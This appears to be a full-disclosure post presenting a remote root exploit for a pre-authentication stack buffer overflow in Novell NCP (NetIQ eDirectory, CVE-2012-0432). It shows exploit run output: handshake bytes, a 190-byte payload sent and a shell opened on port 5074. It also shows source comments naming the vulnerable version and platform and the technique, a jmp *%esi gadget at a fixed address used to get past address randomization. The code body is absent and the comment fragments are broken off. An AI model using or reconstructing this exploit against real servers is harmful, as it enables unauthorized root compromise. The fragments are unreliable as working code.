Novell NCP Pre-Auth Remote Root Exploit

In the interest of full-disclosure, here is a remote exploit for the
vulnerability found by David Klein:
Demonstration
Novell NCP Pre-Auth Remote Stack Buffer Overflow
Connecting to host [127.0.0.1]...
Connected!
Sending message #1 (23 bytes)

<-- 44 6d 64 54 00 00 00 17 00 00 00 01 00 00 00 00 11 11 00 00 00 00 00

Waiting for response (16 bytes)...
Received 16 bytes (expecting 16)

--> 74 4e 63 50 00 00 00 10 33 33 00 0a 00 00 00 00

Response #1 is valid, continue exploitation
Received response connection number 0a
Sending payload (190 bytes)...

[...omitted...]

190 bytes sent
Attempting to connect to shell at port 5074...
Sleeping for 10 seconds...
Success!

/*
 * Novell NCP Pre-Auth Remote Root Exploit
 * Written by Gary Nilson 11-17-2013
 *
 * Overview (US-CERT/NIST CVES:CVE-2012-0432):
 *   Stack-based buffer overflow in the Novell NCP implementation in
 *   NetIQ eDirectory 8.8.7.x before 8.8.7.2 allows remote attackers to have an
 *   unspecified impact via unknown vectors.
 *
 * Fix: Issues resolved in eDirectory 8.8 SP7 Patch 2 (20703.00)
 *
 * Exploited Platform:
 *   Novell eDirectory 8.8 SP7 v20701.48
 *   Distribution: Debian GNU/Linux 6.0.6 (squeeze)
 *   Linux Kernel: 2.6.32-5-686  
 *
 * Discovery: David Klein (david.r.klein at 676D61696)

/*
 * Due to address space randomization on my platform I had to rely on the

 *   - At the moment that %eip is overwritten, %esi happens to point to the payload
 *     located on the heap (horray).
 *   - Address spaced mapped from 0x08087000-0x080a6000 (Data segment) contains
 *     the handy instruction jmp *%esi (located at 0x080a4697).
